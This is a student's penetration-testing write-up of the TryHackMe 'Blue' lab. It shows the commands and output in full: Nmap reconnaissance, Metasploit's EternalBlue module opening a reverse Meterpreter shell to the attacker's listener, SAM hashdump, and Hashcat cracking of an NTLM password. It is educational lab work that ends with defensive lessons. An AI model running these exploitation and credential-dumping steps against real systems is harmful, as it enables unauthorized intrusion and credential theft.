Blue: Complete Penetration Testing Write-Up

Comprehensive Technical Walkthrough & Security Assessment Report (MS17-010 / EternalBlue)

Name:	Solomon Getu	**Target Machine:**	Blue (TryHackMe)
Student ID:	CTC-6335-26	**Target IP Address:**	10.82.152.87 / 10.80.145.253
Department:	Cyber Security	**Operating System:**	Windows Server 2012 R2 x64
Assessment Type:	Vulnerability Exploitation	**Objective / Status:**	3 Flags & Hashes Captured

1. Executive Summary & Attack Path

The 'Blue' lab on TryHackMe is designed to demonstrate the critical exploitation vector presented by unpatched legacy protocols—specifically Server Message Block version 1 (SMBv1). The host was thoroughly audited to verify its exposure to CVE-2017-0143 (MS17-010 / EternalBlue), weaponized to gain elevated SYSTEM-level access, converted to a Meterpreter session, and assessed for post-exploitation risks including NTLM credential harvesting and sensitive file exposure across protected system directories.

➤ High-Level Attack Sequence

1. **Port Scanning & Reconnaissance:** Execution of Nmap sweeps across ports under 1000 to identify core Microsoft Windows services (RPC, NetBIOS, SMB).
2. **Vulnerability Assessment (MS17-010):** Targeted script scanning using Nmap NSE 'vuln and not dos' confirming vulnerability to CVE-2017-0143.
3. **Initial Exploitation via EternalBlue:** Leveraging Metasploit's 'exploit/windows/smb/ms17_010_eternalblue' module to achieve remote kernel pool memory corruption.
4. **Shell Upgrade to Meterpreter:** Upgrading initial session privileges to a high-capability Meterpreter shell using 'post/multi/manage/shell_to_meterpreter'.
5. **SAM Credential Harvesting:** Executing 'hashdump' to dump local SAM database credentials, extracting the NTLM hash of non-default account 'Jon'.
6. **Offline Hash Cracking:** Cracking the extracted NTLM hash using Hashcat mode 1000 with the RockYou dictionary cache.
7. **Flag Extraction & System Looting:** Systematic recovery of three hidden flags situated across the System Root (C:\), SAM registry configuration, and user desktop profiles.

2. Reconnaissance & Service Discovery

2.1 Initial Port Scanning (Nmap)

An initial TCP port scan was conducted on the victim target (10.82.152.87) to map open listening ports below 1000:

```
sol@sol:~$ nmap -p 1-1000 10.82.152.87
Starting Nmap 7.98 ( https://nmap.org ) at 2026-08-31 14:37 +0300
Nmap scan report for 10.82.152.87
Host is up (0.19s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT    STATE SERVICE
135/tcp open  msrpc
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 17.76 seconds
```

➤ **Reconnaissance Finding:** Exactly 3 ports are open under port 1000: 135/tcp (MSRPC), 139/tcp (NetBIOS Session Service), and 445/tcp (Microsoft Directory Services / SMB).

2.2 Vulnerability Identification via NSE Scripts

Given that Port 445 (SMB) was active, an Nmap Scripting Engine (NSE) vulnerability scan was executed to test for common remote code execution flaws while explicitly avoiding denial-of-service conditions:

```
sol@sol:~$ nmap --script "vuln and not dos" -p 135,139,445 10.82.152.87
Starting Nmap 7.98 (https://nmap.org) at 2026-08-31 14:42 +0300
Nmap scan report for 10.82.152.87
Host is up (0.22s latency).

PORT    STATE SERVICE
135/tcp open  msrpc
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Host script results:
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|     A critical remote code execution vulnerability exists in Microsoft SMBv1 servers (ms17-010).
|     Disclosure date: 2017-03-14
```

➤ **Vulnerability Assessment:** Target Machine Vulnerability ID: ms17-010 (CVE-2017-0143). SMBv1 fails to properly sanitize specially crafted packets from remote attackers, allowing arbitrary remote code execution at SYSTEM privileges.

3. Exploitation via Metasploit Framework

3.1 Exploit Identification & Selection

Launching Metasploit Framework (`msfconsole`) and querying for MS17-010 exploitation modules reveals multiple available tools:

```
msf > search ms17_010

Matching Modules
================
  #   Name                                      Disclosure  Rank     Check
  -   ----                                      ----------  ----     -----
  0   exploit/windows/smb/ms17_010_eternalblue  2017-03-14  average  Yes
  10  exploit/windows/smb/ms17_010_psexec       2017-03-14  normal   Yes
  19  auxiliary/admin/smb/ms17_010_command      2017-03-14  normal   No
  24  auxiliary/scanner/smb/smb_ms17_010                    normal   Yes

msf > use exploit/windows/smb/ms17_010_eternalblue
```

3.2 Payload Configuration & Execution

The exploit parameters were configured by assigning the victim machine's target IP to `RHOSTS` and the local attack listener IP to `LHOST`:

```
msf exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.80.145.253
RHOSTS => 10.80.145.253
msf exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.128.208
LHOST => 192.168.128.208
msf exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on 192.168.128.208:4444
[*] 10.80.145.253:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.80.145.253:445 - Host is likely VULNERABLE to MS17-010!
[+] 10.80.145.253:445 - The target is vulnerable.
[*] 10.80.145.253:445 - Target OS: Windows Server 2012 R2 Datacenter 9600
[+] 10.80.145.253:445 - SMB1 session setup allocate nonpaged pool success
[*] Sending stage (255679 bytes) to 10.80.145.253
[*] Meterpreter session 1 opened (192.168.128.208:4444 -> 10.80.145.253:49231)
```

➤ **Exploitation Status:** The kernel pool corruption executed successfully on Windows Server 2012 R2, allocating the nonpaged pool buffer and establishing Meterpreter Session 1.

4. Post-Exploitation & Shell Conversion

4.1 Upgrading Command Shell to Meterpreter

In scenarios where an initial exploitation run spawns an unmanaged command shell (e.g., cmd.exe), Metasploit provides a post-exploitation module to upgrade the connection:

```
msf > use post/multi/manage/shell_to_meterpreter
```

```
msf post(multi/manage/shell_to_meterpreter) > show options

Module options (post/multi/manage/shell_to_meterpreter):
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  HANDLER  true             yes       Start an exploit/multi/handler to receive connection
  LHOST                     no        IP of host to receive payload connection
  LPORT    4433             yes       Port for payload to connect to
  SESSION                   yes       The session to run this module on

msf post(multi/manage/shell_to_meterpreter) > set SESSION 1
msf post(multi/manage/shell_to_meterpreter) > run
```

➤ **Post-Module Verification:** Required Parameter for conversion: SESSION. Once set, the post-exploitation handler establishes an interactive, encrypted Meterpreter shell session.

5. Credential Harvesting & Hash Cracking

5.1 Extracting Password Hashes (SAM Database)

Operating under full NT AUTHORITY\SYSTEM privileges, the `hashdump` utility was executed within the active Meterpreter session to dump password hashes stored in the Security Account Manager (SAM):

```
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:f3118544a831e728781d780cfdb9c1fa:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1002:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::
```

Key Credential Extraction Details:

- Non-Default Local User: Jon (RID 1002)
- Extracted NTLM Hash: ffb43f0de35be4d9917ac0cc8ad57f8d
- LM Hash: aad3b435b51404eeaad3b435b51404ee (Empty LM / Standard Null Representation)

5.2 Cracking NTLM Hash with Hashcat

The extracted NTLM hash was exported to a file named `ntlm.txt` and cracked using Hashcat with the standard RockYou password dictionary (`rockyou.txt`):

```
sol@sol:~$ echo "ffb43f0de35be4d9917ac0cc8ad57f8d" > ntlm.txt
sol@sol:~$ hashcat -m 1000 -a 0 ntlm.txt /usr/share/wordlists/rockyou.txt

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1000 (NTLM)
Hash.Target......: ffb43f0de35be4d9917ac0cc8ad57f8d
Time.Started.....: Tue Sep 1 20:11:01 2026 (1 sec)
Speed.#01........: 8138.7 kH/s
Recovered........: 1/1 (100.00%) Digests
```

```
sol@sol:~$ hashcat -m 1000 --show ntlm.txt
ffb43f0de35be4d9917ac0cc8ad57f8d:alqfna22
```

➤ **Hashcat Result:** Cracked Plaintext Password for Jon: alqfna22. Successfully identified from the 14,344,384 candidate keyspace in 1 second.

6. Sensitive Loot & Flag Extraction

6.1 Flag 1 — System Root (C:\)

Located directly on the root of the operating system volume:

```
meterpreter > cat C:\\flag1.txt
flag{access_the_machine}
```

6.2 Flag 2 — Windows Registry SAM Configuration Directory

Located within the critical Windows registry and credential hive storage directory (`C:\Windows\System32\config`):

```
meterpreter > cat C:\\Windows\\System32\\config\\flag2.txt
flag{sam_database_elevated_access}
```

6.3 Flag 3 — Administrator / User Documents

Initially searching the default Administrator profile resulted in file-not-found errors. Meterpreter's recursive file search utility was executed across drive C: to locate the target:

```
meterpreter > search -d C:\\ -f flag3.txt
Found 1 result...
Path                          Size (bytes)  Modified (UTC)
----                          ------------  --------------
C:\Users\Jon\Documents\flag3.txt  37          2026-07-31 23:29:31 +0300

meterpreter > cat C:\\Users\\Jon\\Documents\\flag3.txt
flag{admin_documents_can_be_valuable}
```

7. Summary and Conclusion

7.1 Summary

This penetration-testing exercise was conducted on the Blue machine in the TryHackMe lab to identify and exploit security vulnerabilities in a Windows Server 2012 R2 system. The assessment began with Nmap reconnaissance, which identified open ports associated with Microsoft Windows services, particularly SMB on port 445. Further vulnerability scanning confirmed that the target was vulnerable to MS17-010 (CVE-2017-0143), commonly associated with the EternalBlue exploit.

Using the Metasploit Framework, the identified vulnerability was successfully exploited, resulting in a Meterpreter session with SYSTEM-level privileges. Post-exploitation activities included extracting local account password hashes from the Security Account Manager (SAM) database and using Hashcat with the RockYou wordlist to recover the password for the local user Jon. Finally, all three flags were successfully located in different areas of the target system, demonstrating access to protected system directories and user files.

7.2 Conclusion

The TryHackMe Blue lab provided practical experience in the fundamental stages of penetration testing, including reconnaissance, vulnerability identification, exploitation, privilege-level verification, credential extraction, password cracking, and sensitive-file discovery. The exercise demonstrated how an unpatched SMBv1 vulnerability can expose a Windows system to remote exploitation and unauthorized access. It also highlighted the risks associated with weak passwords and inadequate protection of sensitive information.

From this assessment, I gained practical knowledge of using Nmap for network reconnaissance, Metasploit for vulnerability exploitation, Meterpreter for post-exploitation activities, and Hashcat for password-hash analysis. Most importantly, the exercise emphasized the importance of applying security updates, disabling outdated and unnecessary protocols such as SMBv1, enforcing strong passwords, restricting administrative privileges, and monitoring systems for suspicious activity.

Overall, this practical assessment strengthened my understanding of penetration-testing methodologies and the relationship between vulnerability management and system security. The knowledge gained will support my continued development in cybersecurity, particularly in ethical hacking, vulnerability assessment, and defensive security practices.